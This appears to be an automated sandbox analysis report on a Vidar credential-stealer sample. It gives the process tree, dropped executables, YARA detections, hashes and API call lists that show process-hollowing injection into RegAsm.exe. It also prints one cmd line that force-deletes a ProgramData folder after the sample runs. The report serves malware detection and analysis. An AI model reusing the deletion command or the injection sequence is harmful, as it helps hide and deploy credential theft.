2024-09-25 16:01:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	11:59:58
Start date:	25/09/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xf50000
File size:	413'224 bytes
MD5 hash:	77011BA24D1088A963898ABC72C6E129
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000000.00000002.2072601373.0000000004295000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000000.00000002.2072601373.0000000004295000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	11:59:58
Start date:	25/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	11:59:59
Start date:	25/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x890000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	12:01:00
Start date:	25/09/2024
Path:	C:\ProgramData\AFIDGDBGCA.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\AFIDGDBGCA.exe"
Imagebase:	0x460000
File size:	26'112 bytes
MD5 hash:	168087C84C5FF3664E5E2F4EEC18D7DD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 11%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	12:01:00
Start date:	25/09/2024
Path:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe"
Imagebase:	0xa70000
File size:	26'112 bytes
MD5 hash:	168087C84C5FF3664E5E2F4EEC18D7DD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 11%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	12:01:01
Start date:	25/09/2024
Path:	C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe" --checker
Imagebase:	0xa40000
File size:	26'112 bytes
MD5 hash:	168087C84C5FF3664E5E2F4EEC18D7DD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 11%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	12:01:03
Start date:	25/09/2024
Path:	C:\ProgramData\BFIIEHJDBK.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\BFIIEHJDBK.exe"
Imagebase:	0x3e0000
File size:	377'384 bytes
MD5 hash:	0CEE1D66332DEC523210F62E479284B9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	12:01:03
Start date:	25/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	12:01:08
Start date:	25/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x2a0000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	12:01:08
Start date:	25/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x160000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	12:01:08
Start date:	25/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x210000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	12:01:08
Start date:	25/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x8b0000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	12:01:14
Start date:	25/09/2024
Path:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe"
Imagebase:	0xa0000
File size:	26'112 bytes
MD5 hash:	168087C84C5FF3664E5E2F4EEC18D7DD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	12:01:16
Start date:	25/09/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 2672 -s 948
Imagebase:	0x7ff757150000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	12:01:25
Start date:	25/09/2024
Path:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe"
Imagebase:	0x870000
File size:	26'112 bytes
MD5 hash:	168087C84C5FF3664E5E2F4EEC18D7DD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	12:01:26
Start date:	25/09/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 5824 -s 948
Imagebase:	0x540000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	12:01:30
Start date:	25/09/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\IIIEBGCBGIDH" & exit
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	12:01:30
Start date:	25/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	12:01:32
Start date:	25/09/2024
Path:	C:\Windows\SysWOW64\timeout.exe
Wow64 process (32bit):	true
Commandline:	timeout /t 10
Imagebase:	0x3d0000
File size:	25'088 bytes
MD5 hash:	976566BEEFCCA4A159ECBDB2D4B1A3E3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	40.7%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	30%
Total number of Nodes:	20
Total number of Limit Nodes:	0

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 03292131 Relevance: 42.3, APIs: 10, Strings: 14, Instructions: 282
threadinjectionmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe,00000000,00000000,00000000,00000000,00000004,00000000,00000000,032920A3,03292093), ref: 032922A0
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 032922B3
Wow64GetThreadContext.KERNEL32(0000009C,00000000), ref: 032922D1
ReadProcessMemory.KERNELBASE(00000098,?,032920E7,00000004,00000000), ref: 032922F5
VirtualAllocEx.KERNELBASE(00000098,?,?,00003000,00000040), ref: 03292320
WriteProcessMemory.KERNELBASE(00000098,00000000,?,?,00000000,?), ref: 03292378
WriteProcessMemory.KERNELBASE(00000098,00400000,?,?,00000000,?,00000028), ref: 032923C3
WriteProcessMemory.KERNELBASE(00000098,?,?,00000004,00000000), ref: 03292401
Wow64SetThreadContext.KERNEL32(0000009C,058B0000), ref: 0329243D
ResumeThread.KERNELBASE(0000009C), ref: 0329244C

Strings

GetP, xrefs: 032921B3
ReadProcessMemory, xrefs: 0329221E
ResumeThread, xrefs: 0329226D
VirtualAllocEx, xrefs: 03292231
GetThreadContext, xrefs: 0329220B
SetThreadContext, xrefs: 03292257
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe, xrefs: 0329229F
CreateProcessA, xrefs: 032921E5
VirtualAlloc, xrefs: 032921F8
WriteProcessMemory, xrefs: 03292244
Load, xrefs: 0329216F
TerminateProcess, xrefs: 0329232F
aryA, xrefs: 03292177
ress, xrefs: 032921BB

Memory Dump Source

Source File: 00000000.00000002.2067741818.0000000003291000.00000040.00000800.00020000.00000000.sdmp, Offset: 03291000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3291000_file.jbxd

Similarity

API ID: Process$Memory$ThreadWrite$AllocContextVirtualWow64$CreateReadResume
String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe$CreateProcessA$GetP$GetThreadContext$Load$ReadProcessMemory$ResumeThread$SetThreadContext$TerminateProcess$VirtualAlloc$VirtualAllocEx$WriteProcessMemory$aryA$ress
API String ID: 2687962208-1257834847
Opcode ID: 5830fdbf51cd66032c811c655c8f92b1c7674356d546a8de58cf9f8e9e68e0da
Instruction ID: 6ca6d6e4114ede5b497083600c8c29c848189716afdbca180917f764bb90101b
Opcode Fuzzy Hash: 5830fdbf51cd66032c811c655c8f92b1c7674356d546a8de58cf9f8e9e68e0da
Instruction Fuzzy Hash: 0DB1E67260024AAFDB60CF68CC80BDA77A9FF88714F158565EA0CEB341D774FA518B94

Function 017E1268 Relevance: 1.6, APIs: 1, Instructions: 60
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtectEx.KERNELBASE(?,?,?,?,?), ref: 017E12F0

Memory Dump Source

Source File: 00000000.00000002.2066467330.00000000017E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 017E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_17e0000_file.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: c00ef8c32c540b3a22600832e10d3df5cd3fcfbc5dde296382bb1843aa925cd1
Instruction ID: e3f98012f084b9ef6f847f20fbf1528a253c93e8e8f0fb6171bf42d827cd1325
Opcode Fuzzy Hash: c00ef8c32c540b3a22600832e10d3df5cd3fcfbc5dde296382bb1843aa925cd1
Instruction Fuzzy Hash: 2C2114B5D002499FCB10DFAAD881AEEFBF4FF48320F50842AD519A7250C7799944CBA0

Function 017E1270 Relevance: 1.6, APIs: 1, Instructions: 56
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtectEx.KERNELBASE(?,?,?,?,?), ref: 017E12F0

Memory Dump Source

Source File: 00000000.00000002.2066467330.00000000017E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 017E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_17e0000_file.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: d107af60fef4bb837d289da65da8fc05e43028045ee15807d4bec41c90bf07e2
Instruction ID: 80241ef815fd0ed91216a50eaf0541cf6c6e47798a4484a2dcef3637e5d92fc4
Opcode Fuzzy Hash: d107af60fef4bb837d289da65da8fc05e43028045ee15807d4bec41c90bf07e2
Instruction Fuzzy Hash: 4421F4B1D042499FCB10DFAAC985AEEFBF5FF48310F50842AE919A7250C775A944CFA1

Analysis Process: RegAsm.exePID: 5464, Parent PID: 6616COMMON

Execution Graph

Execution Coverage:	4.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4.6%
Total number of Nodes:	2000
Total number of Limit Nodes:	30

Executed Functions

Function 0041891A Relevance: 231.5, APIs: 121, Strings: 11, Instructions: 518
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75900000,00417293), ref: 0041892E
GetProcAddress.KERNEL32 ref: 00418945
GetProcAddress.KERNEL32 ref: 0041895C
GetProcAddress.KERNEL32 ref: 00418973
GetProcAddress.KERNEL32 ref: 0041898A
GetProcAddress.KERNEL32 ref: 004189A1
GetProcAddress.KERNEL32 ref: 004189B8
GetProcAddress.KERNEL32 ref: 004189CF
GetProcAddress.KERNEL32 ref: 004189E6
GetProcAddress.KERNEL32 ref: 004189FD
GetProcAddress.KERNEL32 ref: 00418A14
GetProcAddress.KERNEL32 ref: 00418A2B
GetProcAddress.KERNEL32 ref: 00418A42
GetProcAddress.KERNEL32 ref: 00418A59
GetProcAddress.KERNEL32 ref: 00418A70
GetProcAddress.KERNEL32 ref: 00418A87
GetProcAddress.KERNEL32 ref: 00418A9E
GetProcAddress.KERNEL32 ref: 00418AB5
GetProcAddress.KERNEL32 ref: 00418ACC
GetProcAddress.KERNEL32 ref: 00418AE3
GetProcAddress.KERNEL32 ref: 00418AFA
GetProcAddress.KERNEL32 ref: 00418B11
GetProcAddress.KERNEL32 ref: 00418B28
GetProcAddress.KERNEL32 ref: 00418B3F
GetProcAddress.KERNEL32 ref: 00418B56
GetProcAddress.KERNEL32 ref: 00418B6D
GetProcAddress.KERNEL32 ref: 00418B84
GetProcAddress.KERNEL32 ref: 00418B9B
GetProcAddress.KERNEL32 ref: 00418BB2
GetProcAddress.KERNEL32 ref: 00418BC9
GetProcAddress.KERNEL32 ref: 00418BE0
GetProcAddress.KERNEL32 ref: 00418BF7
GetProcAddress.KERNEL32 ref: 00418C0E
GetProcAddress.KERNEL32 ref: 00418C25
GetProcAddress.KERNEL32 ref: 00418C3C
GetProcAddress.KERNEL32 ref: 00418C53
GetProcAddress.KERNEL32 ref: 00418C6A
GetProcAddress.KERNEL32 ref: 00418C81
GetProcAddress.KERNEL32 ref: 00418C98
GetProcAddress.KERNEL32 ref: 00418CAF
GetProcAddress.KERNEL32 ref: 00418CC6
GetProcAddress.KERNEL32 ref: 00418CDD
GetProcAddress.KERNEL32 ref: 00418CF4
GetProcAddress.KERNEL32(CreateProcessA), ref: 00418D0A
GetProcAddress.KERNEL32(GetThreadContext), ref: 00418D20
GetProcAddress.KERNEL32(ReadProcessMemory), ref: 00418D36
GetProcAddress.KERNEL32(VirtualAllocEx), ref: 00418D4C
GetProcAddress.KERNEL32(ResumeThread), ref: 00418D62
GetProcAddress.KERNEL32(WriteProcessMemory), ref: 00418D78
GetProcAddress.KERNEL32(SetThreadContext), ref: 00418D8E
LoadLibraryA.KERNEL32(00417293), ref: 00418D9F
LoadLibraryA.KERNEL32 ref: 00418DB0
LoadLibraryA.KERNEL32 ref: 00418DC1
LoadLibraryA.KERNEL32 ref: 00418DD2
LoadLibraryA.KERNEL32 ref: 00418DE3
LoadLibraryA.KERNEL32 ref: 00418DF4
LoadLibraryA.KERNEL32 ref: 00418E05
LoadLibraryA.KERNEL32 ref: 00418E16
LoadLibraryA.KERNEL32(dbghelp.dll), ref: 00418E26
GetProcAddress.KERNEL32(75FD0000), ref: 00418E41
GetProcAddress.KERNEL32 ref: 00418E58
GetProcAddress.KERNEL32 ref: 00418E6F
GetProcAddress.KERNEL32 ref: 00418E86
GetProcAddress.KERNEL32 ref: 00418E9D
GetProcAddress.KERNEL32(6FD30000), ref: 00418EBC
GetProcAddress.KERNEL32 ref: 00418ED3
GetProcAddress.KERNEL32 ref: 00418EEA
GetProcAddress.KERNEL32 ref: 00418F01
GetProcAddress.KERNEL32 ref: 00418F18
GetProcAddress.KERNEL32 ref: 00418F2F
GetProcAddress.KERNEL32 ref: 00418F46
GetProcAddress.KERNEL32 ref: 00418F5D
GetProcAddress.KERNEL32(763B0000), ref: 00418F78
GetProcAddress.KERNEL32 ref: 00418F8F
GetProcAddress.KERNEL32 ref: 00418FA6
GetProcAddress.KERNEL32 ref: 00418FBD
GetProcAddress.KERNEL32 ref: 00418FD4
GetProcAddress.KERNEL32(750F0000), ref: 00418FF3
GetProcAddress.KERNEL32 ref: 0041900A
GetProcAddress.KERNEL32 ref: 00419021
GetProcAddress.KERNEL32 ref: 00419038
GetProcAddress.KERNEL32 ref: 0041904F
GetProcAddress.KERNEL32 ref: 00419066
GetProcAddress.KERNEL32(75A50000), ref: 00419085
GetProcAddress.KERNEL32 ref: 0041909C
GetProcAddress.KERNEL32 ref: 004190B3
GetProcAddress.KERNEL32 ref: 004190CA
GetProcAddress.KERNEL32 ref: 004190E1
GetProcAddress.KERNEL32 ref: 004190F8
GetProcAddress.KERNEL32 ref: 0041910F
GetProcAddress.KERNEL32 ref: 00419126
GetProcAddress.KERNEL32 ref: 0041913D
GetProcAddress.KERNEL32(75070000), ref: 00419158
GetProcAddress.KERNEL32 ref: 0041916F
GetProcAddress.KERNEL32 ref: 00419186
GetProcAddress.KERNEL32 ref: 0041919D
GetProcAddress.KERNEL32 ref: 004191B4
GetProcAddress.KERNEL32(74E50000), ref: 004191CF
GetProcAddress.KERNEL32 ref: 004191E6
GetProcAddress.KERNEL32(75320000), ref: 00419201
GetProcAddress.KERNEL32 ref: 00419218
GetProcAddress.KERNEL32(6F060000), ref: 00419237
GetProcAddress.KERNEL32 ref: 0041924E
GetProcAddress.KERNEL32 ref: 00419265
GetProcAddress.KERNEL32 ref: 0041927C
GetProcAddress.KERNEL32 ref: 00419293
GetProcAddress.KERNEL32 ref: 004192AA
GetProcAddress.KERNEL32 ref: 004192C1
GetProcAddress.KERNEL32 ref: 004192D8
GetProcAddress.KERNEL32(HttpQueryInfoA), ref: 004192EE
GetProcAddress.KERNEL32(InternetSetOptionA), ref: 00419304
GetProcAddress.KERNEL32(74E00000), ref: 0041931F
GetProcAddress.KERNEL32 ref: 00419336
GetProcAddress.KERNEL32 ref: 0041934D
GetProcAddress.KERNEL32 ref: 00419364
GetProcAddress.KERNEL32(74DF0000), ref: 0041937F
GetProcAddress.KERNEL32(6C5C0000), ref: 0041939A
GetProcAddress.KERNEL32 ref: 004193B1
GetProcAddress.KERNEL32 ref: 004193C8
GetProcAddress.KERNEL32 ref: 004193DF
GetProcAddress.KERNEL32(6C3D0000,SymMatchString), ref: 004193F9

Strings

dbghelp.dll, xrefs: 00418E1C
CreateProcessA, xrefs: 00418CFA
GetThreadContext, xrefs: 00418D10
InternetSetOptionA, xrefs: 004192F4
SymMatchString, xrefs: 004193F3
WriteProcessMemory, xrefs: 00418D68
HttpQueryInfoA, xrefs: 004192DE
ResumeThread, xrefs: 00418D52
ReadProcessMemory, xrefs: 00418D26
SetThreadContext, xrefs: 00418D7E
VirtualAllocEx, xrefs: 00418D3C

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: CreateProcessA$GetThreadContext$HttpQueryInfoA$InternetSetOptionA$ReadProcessMemory$ResumeThread$SetThreadContext$SymMatchString$VirtualAllocEx$WriteProcessMemory$dbghelp.dll
API String ID: 2238633743-2740034357
Opcode ID: 3e30b89850b8473fc7cede02b6692b6796462800fa081e8782096f790b2d890e
Instruction ID: 95a493081ce71f04d2f0428309abc9be209c5feeaecb412fec18ff8b9e74bbfe
Opcode Fuzzy Hash: 3e30b89850b8473fc7cede02b6692b6796462800fa081e8782096f790b2d890e
Instruction Fuzzy Hash: 9652F475910312AFEF1ADFA0FD088243BA7F718707F11A466E91582270E73B4A64EF19

Function 00414C91 Relevance: 44.0, APIs: 21, Strings: 4, Instructions: 297
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 00414CE5
FindFirstFileA.KERNEL32(?,?), ref: 00414CFC
_memset.LIBCMT ref: 00414D18
_memset.LIBCMT ref: 00414D29
StrCmpCA.SHLWAPI(?,004369F0), ref: 00414D4A
StrCmpCA.SHLWAPI(?,004369F4), ref: 00414D64
wsprintfA.USER32 ref: 00414D8B
StrCmpCA.SHLWAPI(?,0043660F), ref: 00414D9F
wsprintfA.USER32 ref: 00414DC8
wsprintfA.USER32 ref: 00414DDF

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410650

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004175B2,004366D6), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417083,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 004105BD

Part of subcall function 00412166: CreateFileA.KERNEL32(uOA,80000000,00000003,00000000,00000003,00000080,00000000,?,?,?,?,00414F75,?), ref: 00412181

_memset.LIBCMT ref: 00414DF1
lstrcatA.KERNEL32(?,?), ref: 00414E06
strtok_s.MSVCRT ref: 00414E4B
_memset.LIBCMT ref: 00414E5D
lstrcatA.KERNEL32(?,?), ref: 00414E72
strtok_s.MSVCRT ref: 00414E8B
PathMatchSpecA.SHLWAPI(?,00000000), ref: 00414EA0
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00414F7F
strtok_s.MSVCRT ref: 00414FB0
FindNextFileA.KERNELBASE(?,?), ref: 004150CE
FindClose.KERNEL32(?), ref: 004150EE

Strings

%s\%s\%s, xrefs: 00414DC2
%s\%s, xrefs: 00414D85
%s\*.*, xrefs: 00414CD9
%s\%s, xrefs: 00414DD9

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: _memsetlstrcatwsprintf$FileFindlstrcpystrtok_s$CloseCreateFirstMatchNextPathSpecUnothrow_t@std@@@__ehfuncinfo$??2@lstrlen
String ID: %s\%s$%s\%s$%s\%s\%s$%s\*.*
API String ID: 2867719434-332874205
Opcode ID: 1e05084771a7a011ec97cefbe05180adb691ff6ea96afb9f06b101a98381b6a6
Instruction ID: 1d49a35e0c6b55f1981c12fb275230eec6249b52552b7fdd8fd355505706a1aa
Opcode Fuzzy Hash: 1e05084771a7a011ec97cefbe05180adb691ff6ea96afb9f06b101a98381b6a6
Instruction Fuzzy Hash: A8C129B1E0021AABCF21EF65DC45AEE777DAF08305F0140A6FA09A3151DA399F858F59

Function 0040884C Relevance: 42.4, APIs: 23, Strings: 1, Instructions: 405
memoryfilestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00410795: StrCmpCA.SHLWAPI(?,?,?,00408863,?,?,?), ref: 0041079E

CopyFileA.KERNEL32(?,?,00000001,004371BC,004367CB,?,?,?), ref: 00408941

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,004175EA), ref: 00410538

Part of subcall function 004122B0: _memset.LIBCMT ref: 004122D7
Part of subcall function 004122B0: OpenProcess.KERNEL32(00001001,00000000,?,00000000,?), ref: 0041237D
Part of subcall function 004122B0: TerminateProcess.KERNEL32(00000000,00000000), ref: 0041238B
Part of subcall function 004122B0: CloseHandle.KERNEL32(00000000), ref: 00412392

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410645
